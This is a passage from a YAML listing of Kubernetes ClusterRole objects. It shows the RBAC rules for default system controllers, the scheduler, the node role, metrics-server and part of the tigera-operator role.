    verbs:
    - get
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:pod-garbage-collector
    resourceVersion: "159"
    uid: 8f39dce3-89dd-4352-8c2d-0f30197ae8fd
  rules:
  - apiGroups:
    - ""
    resources:
    - pods
    verbs:
    - delete
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - nodes
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - pods/status
    verbs:
    - patch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:pv-protection-controller
    resourceVersion: "171"
    uid: 90c1c043-2e47-4fb6-a345-556a62a8bfbb
  rules:
  - apiGroups:
    - ""
    resources:
    - persistentvolumes
    verbs:
    - get
    - list
    - update
    - watch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:pvc-protection-controller
    resourceVersion: "170"
    uid: 6d588f50-616d-4b4f-80f2-f67bea070394
  rules:
  - apiGroups:
    - ""
    resources:
    - persistentvolumeclaims
    verbs:
    - get
    - list
    - update
    - watch
  - apiGroups:
    - ""
    resources:
    - pods
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:replicaset-controller
    resourceVersion: "160"
    uid: 4cf65e9d-4c6c-4cfa-95cb-0d62e1abb2b1
  rules:
  - apiGroups:
    - apps
    - extensions
    resources:
    - replicasets
    verbs:
    - get
    - list
    - update
    - watch
  - apiGroups:
    - apps
    - extensions
    resources:
    - replicasets/status
    verbs:
    - update
  - apiGroups:
    - apps
    - extensions
    resources:
    - replicasets/finalizers
    verbs:
    - update
  - apiGroups:
    - ""
    resources:
    - pods
    verbs:
    - create
    - delete
    - list
    - patch
    - watch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:replication-controller
    resourceVersion: "161"
    uid: eea10194-5136-4d8e-9815-9c559dc22977
  rules:
  - apiGroups:
    - ""
    resources:
    - replicationcontrollers
    verbs:
    - get
    - list
    - update
    - watch
  - apiGroups:
    - ""
    resources:
    - replicationcontrollers/status
    verbs:
    - update
  - apiGroups:
    - ""
    resources:
    - replicationcontrollers/finalizers
    verbs:
    - update
  - apiGroups:
    - ""
    resources:
    - pods
    verbs:
    - create
    - delete
    - list
    - patch
    - watch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:resourcequota-controller
    resourceVersion: "162"
    uid: 7a19f4e7-b631-4af3-9573-2eadb6c2bfa8
  rules:
  - apiGroups:
    - '*'
    resources:
    - '*'
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - resourcequotas/status
    verbs:
    - update
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:root-ca-cert-publisher
    resourceVersion: "173"
    uid: 81caf7cf-fa19-4715-a53f-e5341d9c4594
  rules:
  - apiGroups:
    - ""
    resources:
    - configmaps
    verbs:
    - create
    - update
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:route-controller
    resourceVersion: "163"
    uid: 2c2d87af-b6ed-4565-aad6-84eeffcc5a2d
  rules:
  - apiGroups:
    - ""
    resources:
    - nodes
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - nodes/status
    verbs:
    - patch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:selinux-warning-controller
    resourceVersion: "176"
    uid: 8be2db64-50b5-42c7-9799-79134c150b24
  rules:
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
  - apiGroups:
    - ""
    resources:
    - persistentvolumes
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - persistentvolumeclaims
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - pods
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - storage.k8s.io
    resources:
    - csidrivers
    verbs:
    - get
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:service-account-controller
    resourceVersion: "164"
    uid: 48b4a0e8-3722-4c96-87cd-b54c5950e429
  rules:
  - apiGroups:
    - ""
    resources:
    - serviceaccounts
    verbs:
    - create
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:service-cidrs-controller
    resourceVersion: "166"
    uid: c53adc0f-55cd-4da6-bd4b-6e92405d3ae4
  rules:
  - apiGroups:
    - networking.k8s.io
    resources:
    - servicecidrs
    verbs:
    - get
    - list
    - patch
    - update
    - watch
  - apiGroups:
    - networking.k8s.io
    resources:
    - servicecidrs/finalizers
    verbs:
    - patch
    - update
  - apiGroups:
    - networking.k8s.io
    resources:
    - servicecidrs/status
    verbs:
    - patch
    - update
  - apiGroups:
    - networking.k8s.io
    resources:
    - ipaddresses
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:service-controller
    resourceVersion: "165"
    uid: 10c80ebd-a1ac-4df0-82f1-1b30c57e71cc
  rules:
  - apiGroups:
    - ""
    resources:
    - services
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - services/status
    verbs:
    - patch
    - update
  - apiGroups:
    - ""
    resources:
    - nodes
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:statefulset-controller
    resourceVersion: "167"
    uid: c5f82b51-33de-4786-96dc-d91b5f312889
  rules:
  - apiGroups:
    - ""
    resources:
    - pods
    verbs:
    - list
    - watch
  - apiGroups:
    - apps
    resources:
    - statefulsets
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - apps
    resources:
    - statefulsets/status
    verbs:
    - update
  - apiGroups:
    - apps
    resources:
    - statefulsets/finalizers
    verbs:
    - update
  - apiGroups:
    - ""
    resources:
    - pods
    verbs:
    - create
    - delete
    - get
    - patch
    - update
  - apiGroups:
    - apps
    resources:
    - controllerrevisions
    verbs:
    - create
    - delete
    - get
    - list
    - patch
    - update
    - watch
  - apiGroups:
    - ""
    resources:
    - persistentvolumeclaims
    verbs:
    - create
    - get
    - list
    - watch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
  - apiGroups:
    - ""
    resources:
    - persistentvolumeclaims
    verbs:
    - delete
    - update
  - apiGroups:
    - ""
    resources:
    - pods/finalizers
    verbs:
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:ttl-after-finished-controller
    resourceVersion: "172"
    uid: 725b6ae3-3984-4c11-a36e-afcb2e1b912e
  rules:
  - apiGroups:
    - batch
    resources:
    - jobs
    verbs:
    - delete
    - get
    - list
    - watch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:ttl-controller
    resourceVersion: "168"
    uid: 3ede1bce-1dd0-4c96-aa70-08fffa976ee7
  rules:
  - apiGroups:
    - ""
    resources:
    - nodes
    verbs:
    - list
    - patch
    - update
    - watch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:validatingadmissionpolicy-status-controller
    resourceVersion: "174"
    uid: ac43c1a2-e625-41c0-9efb-df116d0cf343
  rules:
  - apiGroups:
    - admissionregistration.k8s.io
    resources:
    - validatingadmissionpolicies
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - admissionregistration.k8s.io
    resources:
    - validatingadmissionpolicies/status
    verbs:
    - get
    - patch
    - update
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    creationTimestamp: "2025-09-21T11:09:19Z"
    name: system:coredns
    resourceVersion: "267"
    uid: 7b7025a7-ab8e-40f1-8c1a-979808242c1b
  rules:
  - apiGroups:
    - ""
    resources:
    - endpoints
    - services
    - pods
    - namespaces
    verbs:
    - list
    - watch
  - apiGroups:
    - discovery.k8s.io
    resources:
    - endpointslices
    verbs:
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:discovery
    resourceVersion: "112"
    uid: de334a06-48f7-47b7-b232-3f5038a92f97
  rules:
  - nonResourceURLs:
    - /api
    - /api/*
    - /apis
    - /apis/*
    - /healthz
    - /livez
    - /openapi
    - /openapi/*
    - /readyz
    - /version
    - /version/
    verbs:
    - get
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:heapster
    resourceVersion: "122"
    uid: 342f3fab-5295-4fdb-9431-9ceec983534c
  rules:
  - apiGroups:
    - ""
    resources:
    - events
    - namespaces
    - nodes
    - pods
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - extensions
    resources:
    - deployments
    verbs:
    - get
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:kube-aggregator
    resourceVersion: "127"
    uid: a0a628e4-cffb-4b19-b978-232bdb497f8d
  rules:
  - apiGroups:
    - ""
    resources:
    - endpoints
    - services
    verbs:
    - get
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:kube-controller-manager
    resourceVersion: "128"
    uid: dc6657db-67f9-4532-b3d9-6ea8890baf95
  rules:
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
  - apiGroups:
    - coordination.k8s.io
    resources:
    - leases
    verbs:
    - create
  - apiGroups:
    - coordination.k8s.io
    resourceNames:
    - kube-controller-manager
    resources:
    - leases
    verbs:
    - get
    - update
  - apiGroups:
    - ""
    resources:
    - secrets
    - serviceaccounts
    verbs:
    - create
  - apiGroups:
    - ""
    resources:
    - secrets
    verbs:
    - delete
  - apiGroups:
    - ""
    resources:
    - configmaps
    - namespaces
    - secrets
    - serviceaccounts
    verbs:
    - get
  - apiGroups:
    - ""
    resources:
    - secrets
    - serviceaccounts
    verbs:
    - update
  - apiGroups:
    - authentication.k8s.io
    resources:
    - tokenreviews
    verbs:
    - create
  - apiGroups:
    - authorization.k8s.io
    resources:
    - subjectaccessreviews
    verbs:
    - create
  - apiGroups:
    - '*'
    resources:
    - '*'
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - serviceaccounts/token
    verbs:
    - create
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:kube-dns
    resourceVersion: "129"
    uid: 3274ff98-68f6-415e-924f-421dc77d3371
  rules:
  - apiGroups:
    - ""
    resources:
    - endpoints
    - services
    verbs:
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:kube-scheduler
    resourceVersion: "141"
    uid: 80a1d0f1-b8b0-4cce-bcd6-56dba964478b
  rules:
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
  - apiGroups:
    - coordination.k8s.io
    resources:
    - leases
    verbs:
    - create
  - apiGroups:
    - coordination.k8s.io
    resourceNames:
    - kube-scheduler
    resources:
    - leases
    verbs:
    - get
    - list
    - update
    - watch
  - apiGroups:
    - coordination.k8s.io
    resources:
    - leasecandidates
    verbs:
    - create
    - delete
    - deletecollection
    - get
    - list
    - patch
    - update
    - watch
  - apiGroups:
    - ""
    resources:
    - nodes
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - pods
    verbs:
    - delete
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - bindings
    - pods/binding
    verbs:
    - create
  - apiGroups:
    - ""
    resources:
    - pods/status
    verbs:
    - patch
    - update
  - apiGroups:
    - ""
    resources:
    - replicationcontrollers
    - services
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - apps
    - extensions
    resources:
    - replicasets
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - apps
    resources:
    - statefulsets
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - policy
    resources:
    - poddisruptionbudgets
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - persistentvolumeclaims
    - persistentvolumes
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - authentication.k8s.io
    resources:
    - tokenreviews
    verbs:
    - create
  - apiGroups:
    - authorization.k8s.io
    resources:
    - subjectaccessreviews
    verbs:
    - create
  - apiGroups:
    - storage.k8s.io
    resources:
    - csinodes
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - storage.k8s.io
    resources:
    - volumeattachments
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - namespaces
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - storage.k8s.io
    resources:
    - csidrivers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - storage.k8s.io
    resources:
    - csistoragecapacities
    verbs:
    - get
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:kubelet-api-admin
    resourceVersion: "139"
    uid: d0918c32-5dff-4af6-8713-dd825241718d
  rules:
  - apiGroups:
    - ""
    resources:
    - nodes
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - nodes
    verbs:
    - proxy
  - apiGroups:
    - ""
    resources:
    - nodes/log
    - nodes/metrics
    - nodes/proxy
    - nodes/stats
    verbs:
    - '*'
  - apiGroups:
    - ""
    resources:
    - nodes/configz
    - nodes/healthz
    - nodes/pods
    verbs:
    - '*'
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: metrics-server
      meta.helm.sh/release-namespace: metrics-server
    creationTimestamp: "2025-09-22T18:30:49Z"
    labels:
      app.kubernetes.io/instance: metrics-server
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metrics-server
      app.kubernetes.io/version: 0.8.0
      helm.sh/chart: metrics-server-3.13.0
    name: system:metrics-server
    resourceVersion: "266988"
    uid: 77cf0318-113f-469c-bcd4-9288190ea871
  rules:
  - apiGroups:
    - ""
    resources:
    - nodes/metrics
    verbs:
    - get
  - apiGroups:
    - ""
    resources:
    - pods
    - nodes
    - namespaces
    - configmaps
    verbs:
    - get
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: metrics-server
      meta.helm.sh/release-namespace: metrics-server
    creationTimestamp: "2025-09-22T18:30:49Z"
    labels:
      app.kubernetes.io/instance: metrics-server
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metrics-server
      app.kubernetes.io/version: 0.8.0
      helm.sh/chart: metrics-server-3.13.0
      rbac.authorization.k8s.io/aggregate-to-admin: "true"
      rbac.authorization.k8s.io/aggregate-to-edit: "true"
      rbac.authorization.k8s.io/aggregate-to-view: "true"
    name: system:metrics-server-aggregated-reader
    resourceVersion: "266989"
    uid: 7c84a97b-0c71-47cb-8778-a9bafe34d24d
  rules:
  - apiGroups:
    - metrics.k8s.io
    resources:
    - pods
    - nodes
    verbs:
    - get
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:monitoring
    resourceVersion: "113"
    uid: b5b0efc1-1b2b-4cf5-bf0d-8df7dbc37adb
  rules:
  - nonResourceURLs:
    - /healthz
    - /healthz/*
    - /livez
    - /livez/*
    - /metrics
    - /metrics/slis
    - /readyz
    - /readyz/*
    verbs:
    - get
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:node
    resourceVersion: "123"
    uid: b3664ac4-6065-43df-8776-524a6f57ac95
  rules:
  - apiGroups:
    - authentication.k8s.io
    resources:
    - tokenreviews
    verbs:
    - create
  - apiGroups:
    - authorization.k8s.io
    resources:
    - localsubjectaccessreviews
    - subjectaccessreviews
    verbs:
    - create
  - apiGroups:
    - ""
    resources:
    - services
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - nodes
    verbs:
    - create
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - nodes/status
    verbs:
    - patch
    - update
  - apiGroups:
    - ""
    resources:
    - nodes
    verbs:
    - patch
    - update
  - apiGroups:
    - ""
    resources:
    - events
    verbs:
    - create
    - patch
    - update
  - apiGroups:
    - ""
    resources:
    - pods
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - pods
    verbs:
    - create
    - delete
  - apiGroups:
    - ""
    resources:
    - pods/status
    verbs:
    - patch
    - update
  - apiGroups:
    - ""
    resources:
    - pods/eviction
    verbs:
    - create
  - apiGroups:
    - ""
    resources:
    - configmaps
    - secrets
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - persistentvolumeclaims
    - persistentvolumes
    verbs:
    - get
  - apiGroups:
    - ""
    resources:
    - endpoints
    verbs:
    - get
  - apiGroups:
    - certificates.k8s.io
    resources:
    - certificatesigningrequests
    verbs:
    - create
    - get
    - list
    - watch
  - apiGroups:
    - coordination.k8s.io
    resources:
    - leases
    verbs:
    - create
    - delete
    - get
    - patch
    - update
  - apiGroups:
    - storage.k8s.io
    resources:
    - volumeattachments
    verbs:
    - get
  - apiGroups:
    - ""
    resources:
    - serviceaccounts/token
    verbs:
    - create
  - apiGroups:
    - ""
    resources:
    - persistentvolumeclaims/status
    verbs:
    - get
    - patch
    - update
  - apiGroups:
    - storage.k8s.io
    resources:
    - csidrivers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - storage.k8s.io
    resources:
    - csinodes
    verbs:
    - create
    - delete
    - get
    - patch
    - update
  - apiGroups:
    - node.k8s.io
    resources:
    - runtimeclasses
    verbs:
    - get
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:node-bootstrapper
    resourceVersion: "125"
    uid: c1940770-f373-44ad-964a-827425d1c1a4
  rules:
  - apiGroups:
    - certificates.k8s.io
    resources:
    - certificatesigningrequests
    verbs:
    - create
    - get
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:node-problem-detector
    resourceVersion: "124"
    uid: 105dfd9c-0b90-4a27-8b89-90e5a98ebb49
  rules:
  - apiGroups:
    - ""
    resources:
    - nodes
    verbs:
    - get
  - apiGroups:
    - ""
    resources:
    - nodes/status
    verbs:
    - patch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:node-proxier
    resourceVersion: "140"
    uid: e0d022b4-b4f1-462b-8655-5bfae2c0ad2b
  rules:
  - apiGroups:
    - ""
    resources:
    - endpoints
    - services
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - nodes
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
  - apiGroups:
    - networking.k8s.io
    resources:
    - servicecidrs
    verbs:
    - list
    - watch
  - apiGroups:
    - discovery.k8s.io
    resources:
    - endpointslices
    verbs:
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:persistent-volume-provisioner
    resourceVersion: "130"
    uid: 5f1a9ec7-aa2d-4b58-b042-b1417c128a54
  rules:
  - apiGroups:
    - ""
    resources:
    - persistentvolumes
    verbs:
    - create
    - delete
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - persistentvolumeclaims
    verbs:
    - get
    - list
    - update
    - watch
  - apiGroups:
    - storage.k8s.io
    resources:
    - storageclasses
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - events
    verbs:
    - watch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:public-info-viewer
    resourceVersion: "115"
    uid: f0f1737a-8aa9-40e5-991d-7d2ce26f4c80
  rules:
  - nonResourceURLs:
    - /healthz
    - /livez
    - /readyz
    - /version
    - /version/
    verbs:
    - get
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:service-account-issuer-discovery
    resourceVersion: "138"
    uid: 3e9dd584-3b66-4dc3-874a-1fd4a7d764aa
  rules:
  - nonResourceURLs:
    - /.well-known/openid-configuration
    - /.well-known/openid-configuration/
    - /openid/v1/jwks
    - /openid/v1/jwks/
    verbs:
    - get
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:volume-scheduler
    resourceVersion: "133"
    uid: eb8a3f57-186b-4116-b465-319a7f94970f
  rules:
  - apiGroups:
    - ""
    resources:
    - persistentvolumes
    verbs:
    - get
    - list
    - patch
    - update
    - watch
  - apiGroups:
    - storage.k8s.io
    resources:
    - storageclasses
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - persistentvolumeclaims
    verbs:
    - get
    - list
    - patch
    - update
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    creationTimestamp: "2025-10-19T16:11:25Z"
    labels:
      k8s-app: tigera-operator
    name: tigera-operator
    resourceVersion: "6820846"
    uid: 9c6eb3f0-77a7-4b30-b8a6-2973c073c305
  rules:
  - apiGroups:
    - apiextensions.k8s.io
    resources:
    - customresourcedefinitions
    verbs:
    - get
    - list
    - watch
    - create
  - apiGroups:
    - apiextensions.k8s.io
    resourceNames:
    - apiservers.operator.tigera.io
    - gatewayapis.operator.tigera.io
    - imagesets.operator.tigera.io
    - installations.operator.tigera.io
    - tigerastatuses.operator.tigera.io
    - bgpconfigurations.crd.projectcalico.org
    - bgpfilters.crd.projectcalico.org
    - bgppeers.crd.projectcalico.org
    - blockaffinities.crd.projectcalico.org
    - caliconodestatuses.crd.projectcalico.org
    - clusterinformations.crd.projectcalico.org
    - felixconfigurations.crd.projectcalico.org
    - globalnetworkpolicies.crd.projectcalico.org
    - stagedglobalnetworkpolicies.crd.projectcalico.org
    - globalnetworksets.crd.projectcalico.org
    - hostendpoints.crd.projectcalico.org
    - ipamblocks.crd.projectcalico.org
    - ipamconfigs.crd.projectcalico.org
    - ipamhandles.crd.projectcalico.org
    - ippools.crd.projectcalico.org
    - ipreservations.crd.projectcalico.org
    - kubecontrollersconfigurations.crd.projectcalico.org
    - networkpolicies.crd.projectcalico.org
    - stagednetworkpolicies.crd.projectcalico.org
